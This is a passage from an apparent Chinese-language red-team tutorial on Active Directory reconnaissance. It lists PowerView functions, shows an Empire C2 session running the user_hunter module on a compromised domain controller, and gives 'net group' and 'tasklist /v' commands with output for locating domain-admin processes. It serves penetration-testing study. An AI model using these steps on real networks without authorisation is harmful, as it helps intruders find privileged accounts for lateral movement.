  • Get-NetFileServer:根据SPN获取当前域使用的文件服务器信息

  • Get-NetShare:获取当前域内所有的网络共享信息

  • Get-NetSession:获取指定服务器的会话

  • Get-NetRDPSession:获取指定服务器的远程连接

  • Get-NetProcess:获取远程主机的进程

  • Get-UserEvent:获取指定用户的日志

  • Get-ADObject:获取活动目录的对象

  • Get-NetGPO:获取域内所有组的策略对象

  • Get-DomainPolicy:获取域默认策略或域控制器策略

  • Invoke-UserHunter:获取域用户登陆的计算机信息及该用户是否有本地管理员权限

  • Invoke-ProcessHunter:通过查询域内所有的机器进程找到特定用户

  • Invoke-UserEventHunter:根据用户日志查询某域用户登陆过哪些域机器

Empire

Empire中的user_hunter模块用于查找域管理员登陆的机器,使用 powershell/situational_awareness/network/powerview/user_hunter 模块,可查看哪个用户登陆哪台主机。

(Empire: listeners) > agents
[*] Active agents:
 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 3XRCWAB2 ps 192.168.7.7     DC                *TEAMSSIX\administrator powershell         2256   5/0.0    2021-02-22 20:39:54
(Empire: agents) > usemodule powershell/powershell/situational_awareness/network/powerview/user_hunter
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > set Agent 3XRCWAB2
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute
[*] Tasked 3XRCWAB2 to run TASK_CMD_JOB
[*] Agent 3XRCWAB2 tasked with task ID 1
[*] Tasked agent 3XRCWAB2 to run module powershell/situational_awareness/network/powerview/user_hunter
[*] Valid results returned by 192.168.7.7
……

6、查找域管理员进程

获取域管理员列表

net group "Domain Admins" /domain
C:\Users\daniel10>net group "Domain Admins" /domain
这项请求将在域 teamssix.com 的域控制器处理。
组名     Domain Admins
注释     指定的域管理员
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。

列出本机的所有进程及进程用户

tasklist /v
C:\Users\daniel10>tasklist /v

映像名称                       PID 会话名              会话#       内存使用  状态            用户名                                                 CPU 时间 窗口标题
========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================
System Idle Process              0 Services                   0          8 K Unknown         NT AUTHORITY\SYSTEM                                    68:35:16 暂缺
System                           4 Services                   0        924 K Unknown         暂缺                                                    0:24:14 暂缺
svchost.exe                   9228 Console                    2      2,932 K Unknown         TEAMSSIX\daniel10                                       0:00:00 暂缺
tasklist.exe                 10768 Console                    2      9,540 K Unknown         TEAMSSIX\daniel10                                       0:00:00 暂缺
……内容过多省略……

如果在列出的进程中看到了用户名为管理员用户名的话,便是找到了域管理员进程。

参考链接:

https://blog.csdn.net/qq_36279445/article/details/110647055

https://pingmaoer.github.io/2020/03/31/%E5%86%85%E7%BD%91%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%BA%8C/

来源: TeamsSix 文章作者: TeamsSix 文章链接: https://teamssix.com/210224-210341.html#toc-heading-30 本文章著作权归作者所有,任何形式的转载都请注明出处。

Last updated

Was this helpful?